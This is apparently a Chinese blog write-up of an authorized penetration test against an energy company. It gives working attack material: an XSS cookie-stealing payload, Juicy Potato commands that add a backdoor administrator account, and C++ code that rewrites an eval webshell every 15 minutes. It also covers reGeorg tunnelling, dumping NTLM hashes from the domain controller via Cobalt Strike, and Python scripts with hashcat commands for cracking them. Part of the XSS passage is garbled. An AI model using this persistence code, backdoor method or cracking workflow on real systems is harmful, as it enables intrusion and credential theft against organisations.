行业新闻

某企业授权渗透报告

某企业授权渗透报告

 前言

受到疫情关系地持续影响,广东的学校迟迟未开学,而我已经在家待了快5个月了。某企业授权我去测试下他们公司的整体网络安全性,而且也不会让我白干活,好处是少不了的。因为在家没有什么收入,加上三月份四次美股熔断,全球经济股市普遍暴跌,自己的几百块被牢牢套在了原油里面。

为了能继续有钱加仓抄底原油赚钱翻身,走向人生巅峰,迎娶白富美,我索性答应了下来。

要求:

不能影响业务正常运行

不能盗窃用户数据

目标:

域控服务器

内网相关核心设备

渗透思路:

信息收集>漏洞检测>漏洞利用>权限提升>内外渗透>控制设备>编写渗透报告

信息收集

目标公司是隶属于粤港澳类型在香港上市的一家普通能源公司,这里初期的信息收集可以适用天眼查/小蓝本企业查,我这里使用的是小蓝本企业查(免费)。

image.png

输入目标公司的名称检索相关的关键词之后出现到这个家公司和多家旗下的分公司

image.png

此外天眼查/小蓝本企业查询还可以查询该公司的网站,不用自己去搜索引擎搜索公司的域名。

image.png

这里我筛选了一下公司的域名,我只记录有与目标公司品牌名称匹配的网站域名,为了提高测试渗透测试准确率。

https://www.l***********d.cn/

http://www.c***************r.cn/

http://www.c**********n.cn/

APP手机客户端资产信息提取:

APP包名:com.*********.****

从apk提取相关域名链接/IP

root@kali:~/wudawei# apktool d wudawei.apk 解压apk客户端安装包

image.png使用grep+正则表达式提取过滤出APK中的IP地址:

grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r wudawei --color=auto

image.png

使用grep+正则表达式提取过滤出APK中的域名:

grep -E "https?://[a-zA-Z0-9\.\/_script>+-+-1-+-+alert(1)/script>

插入恶意窃取cookis脚本

接下里就是耐心耐心等待管理员上线查看用户反馈了,我守株待兔等了两天时间,xss平台成功接受到了目标管理员的cookies信息。

后台文件上传修改文件后缀名GetShell成功

权限提升:

收集目标主机信息

systeminfo

ipconfig /all

                                                              查看IP地址和网卡接口信息

netstat -an 

                                                                     查看网络连接信息

whoami /all

                                                                查看当前账户可用权限

当前用户为iis权限小,参考三好学生博客中一篇文章:iis或者sqlserver的用户通常具有SeImpersonatePrivilege和SeAssignPrimaryPrivilege权限(文章传送门),可以尝试使用多汁马铃薯"juicy-potato"(传送门)工具来进行提升账户权限

w.exe -p "whoami"

w.exe -p "net user hong honghong+++ /add"

                                                                创建权限维持后门账号

w.exe -p "net localgroup administrators hong /add"

                                                         提升账户权限为超级管理员组

Webshell权限持久化

定时向Web某目录写入aspx一句话,这里就直接贴代码

// wudawei.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。

#includeWindows.h>
#includestring.h>
#includestdio.h>
#includetime.h>
#include "pch.h"
#include io.h>
#include iostream>
#pragma warning(suppress : 4996)

int main() {
	while (1) {
		Sleep(900);//延迟900秒/15分钟
		ShellExecute(NULL, "open", "cmd", "/c echo ^^%@ Page Language=\"Jscript\"%^>^^%eval(Request.Item[\"a\"],\"unsafe\");%^>^ > C:\\\\inetpub\\\\wwwroot\\\\webshell.aspx", NULL, SW_HIDE);
	}
}

C:\\\\inetpub\\\\wwwroot\\\\webshell.aspx在Windows Server 的IIS服务器根目录下写入密码为a的一句话木马,路径可以根据实际情况做出对应合适的修改;Sleep(900);为900秒执行一次写入webshell操作。

还有另外一种方式就是控制住Web主机之后,在网站后台管理系统主页界面中插入一段窃取cookis的JavaScript恶意代码。这种方式根据实际情况可以做出对于调整。

内网资产测试:

内网渗透--reGeorg+Proxifier

目标Windows Server WEB主机不出外网:

这里我们使用reGeorg工具对流量进行转发,上传流量转发转发aspx脚本到目标环境中,然后访问该文件路径。

python reGeorgSocksProxy.py -u http://**********************/2.aspx -l 0.0.0.0 -p 5964

    执行reGeorg脚本(-u 脚本位置,-l监听请求地址具体请百度搜索"通配符",-p 端口 0.0.0.0为端口范围)

启动Proxifier工具=>Profile=>Proxy Server

右击mstsc.exe程序选择使用本地127.0.0.1:5964代理进行远程登录目标主机

                                                                      登录目标服务器成功

利用Everything工具去搜索目标主机上的资产文件:

为什么选择Everything,因为速度快啊;需要在目标主机上安装Everything工具并且开启http服务器绑定一个不冲突的端口地址。

浏览器需要设置代理(Proxy SwitchyOmega)

设置好代理之后,在Chrome浏览器访问目标wen主机内网IP地址:9999,就可以访问到目标主机开放出来的Everything的web搜索界面

这样子可以很方便检索资产文件信息,也方便下载。经过半个小时的搜索,终于在\D盘某目录下发现了一个有价值Excel资产文件表格。该Excel文件中包含了 部分内网交换路由网关设备、域控服务器、打印机服务器等等的登录口令。先登录交换路由设备查看路由表信息。

Xshell设置SockS5代理,选择远程telnet方式登录目标主机

display ip routing-table

                  可以清楚查看改设备上的路由表信息,Direct为直连路由,Static为静态路由;GE0/12公网接口信息,VLAN1中包含了4个网段(10.5.0.0/16、*.*.*.*/16、*.*.*.*/22、*.*.*.*/5)。

如果想要让目标Windows Server IIS主机可以出外网,需要在设备上添加一条新的静态路由表,下一跳为GE0/12/

 

H3C官网命令参考:

ip route-static dest-address { mask | mask-length } { next-hop-address [ track track-entry-number ] | interface-type interface-number next-hop-address [ bfd { control-packet | echo-packet } ] | vpn-instance d-vpn-instance-name next-hop-address [ track track-entry-number ] } [ preference preference-value ] [ tag tag-value ] [ description description-text ]

这里添加目标主机网段出外网的静态路由表命令:

ip route-static [目标网段] [目标网段的子网掩码] [下一条地址/接口]

ip route-static 192.168.0.0 255.255.0.0 200.200.200.200

 

在资产文件表格中找到域控服务器IP和登录口令成功登陆并且在桌面上发现了mima.txt文档(白给):

上传CS免杀payload到域控服务器,并且执行抓取目标机器用户的NTLM密码哈希值:

                                                                        本地虚拟机杀毒软件测试

Windows NTLM哈希破解

从Cobalt Strike导出用户的密文文本中进一步提取出NTLM密码哈希值为后面的HashCat破解做准备:

代码:

import re
import os
if __name__ == '__main__':
    with open("hashdump.txt", "r") as f:
        data = f.read().splitlines()
f =  open("pass.txt",'a+',encoding="utf-8")
for i in range(len(data)):
    password_NTLM = str(data[i])
    password = re.findall(r"aad3b435b51404eeaad3b435b51404ee:(.+?):::",password_NTLM)
    print(password[0])
    f.write("{}\n".format(password[0]))

f.close()
print("共计{}".format(len(data)))

提取效果如下:

Hahcat来破解用户的密文哈希值

hashcat64.exe -a 3 -m 1000 --force 密文 --increment --increment-min 8 --increment-max 10 ?a?a?a?a?a?a?a?a?a?a

上面这个指令的意思:-m 代表密文类型;--force 密文 你要破解的密文;--increment-min 8 猜解最小8位,--increment-max 1猜解最大10位的密码 ,?a表示未知密码(涵盖键盘上所有的摁键),?d代表数字、?l代表小写字母、

HashCat具体使用方法请移步先知社区这篇文章(Hashcat的使用手册总结),HashCat比较吃显卡性能。

Demon演示

hashcat64.exe -a 3 -m 1000 --force 209c6174da490caeb422f3fa5a7ae634 --increment --increment-min 4 --increment-max 5 ?l?l?l?l?l

需要更具具体情况去修改密文哈希格式,一般企业的密码都是有规律的,比如google@主机名,这种这种情况可以根据实际情况用python for 循环枚举出全部可能密码,我在之前收集到的信息资产表中,发现了密码格式有一种规律;规律格式为:name@name..主机名 这种格式。name为该公司的拼音,主机名和IP地址的第四段一一对应,开始尝试用python枚举全部密码

def Get(name,kang):
f = open("枚举明文密码.txt",'a+',encoding='utf-8')
for i in range(1,254):
print("{}{}{}{}".format(name,kang,name,i))
f.write("{}{}{}{}\n".format(name,kang,name,i))
if __name__ == '__main__':
Get(name="google",kang="@")

然后把循环枚举出来的明文密码,通过NTLM方式进行加密成NTLM格式的密码,python实现明文转NTLM_Hash

import hashlib,binascii
def NTLM_Hash(password):
hash = hashlib.new('md4', password.encode('utf-16le')).digest()
print(str(str(binascii.hexlify(hash)).replace("b'", '').replace("'", '')))
if __name__ == '__main__':
NTLM_Hash("123456")

把上面两块代码进行融合:

import hashlib,binascii
def NTLM_Hash(password):
f = open('NTLM_Hash_Password.txt','a+',encoding="utf-8")
hash = hashlib.new('md4', password.encode('utf-16le')).digest()
NTLM_Hash_Password = str(str(binascii.hexlify(hash)).replace("b'", '').replace("'", ''))
print("{}———————{}".format(password,NTLM_Hash_Password))
f.write("{}———————{}\n".format(password,NTLM_Hash_Password))
def For_Password(name,kang):
for i in range(1,254):
password = str("{}{}{}{}".format(name,kang,name,i))
NTLM_Hash(password)
print("[+] 完成")
if __name__ == '__main__':
For_Password(name="google", kang="@")

然后提取pass.txt的密文与刚刚明文加密后的密文进行一一比对

with open('pass.txt','r+',encoding="utf-8") as f:
# 读取 CS 上导出N用户TLM密文信息
pass_data = f.read().splitlines()
print("共计:{}".format(len(pass_data)))
with open("NTLM_Hash_Password.txt","r+",encoding="utf-8") as f1 :
# 读取 本地穷举的用户NTLM密文信息
ntlm_pass_data = f1.read().splitlines()
print("共计:{}".format(len(ntlm_pass_data)))
# 两个数列做比对
for i in pass_data:
# 枚举 CS 上导出N用户TLM密文信息
for i2 in ntlm_pass_data:
# 枚举 本地穷举的用户NTLM密文信息
if i in i2:
# 如果 CS 上导出N用户TLM密文信息 被包含于 本地穷举的用户NTLM密文信息 则打印本地NTLM信息
print(i2)

执行上面这段脚本之后,脚本会枚举对比本地生成加密的NTLM密文信息与目标域控机器CS上面拖来的用户NTLM信息进行匹配,拿到明文密码;

如果运气不好枚举不出密码,那就用HashCat尝试跑哈希密码吧。密码拿到之后可以尝试超级弱口令检查工具去进一步批量检测内网主机口令。

内网资产探测

推荐工具使用Goby 下载安装打开之后。点击设置代理,然后扫描。

通过上面扫描报告可以大致了解该网段的资产信息情况和网络拓补图结构,可以开始尝试控制相应的网络设备。

某网关防火墙AC:

内网打印机服务器:

内网邮件服务器:

通讯录服务器:

某主机设备管理系统:

发现某办公区IP段里面有很多Windows 7操作系统的主机,尝试用metasploit检测一波MS17_010

如果要让办公区电脑穿透内网上线的话,需要在外部防火墙网关那边设置一条放行的ACL规则,ACL规则(访问控制列表)放行源地址为办公区的IP地址通配符,目的地址为payload的监听上线地址即可。这里朋友那边没有给我授权,我就不做演示了。

本次的渗透测试已经基本结束了,由于我电脑桌面文件太多没有整理导致很混乱,在事后整理文件编写报告的时候部分截图丢失,导致报告看起来少了些东西,各位不要介意。

最后冒昧咨询一下各位前辈有无好的实习岗位机会推荐,鄙人快要大专毕业,感觉大专毕业生以后没有什么出路。

总结

(1) 内网渗透测试最佳时间建议选择在凌晨2点~早上8点。

(2) Everything在内网渗透测试中搜索敏感资产文件有时候发挥着重要作用。

(3) 域控服务器应该设置指定IP范围登录。桌面上不应该存储着明文密码的文档。

(4) 建议各位以后可以使用微软的OneNote做信息记录。

参考链接

渗透技巧——Windows Token九种权限的利用

全程带阻:记一次授权网络攻防演练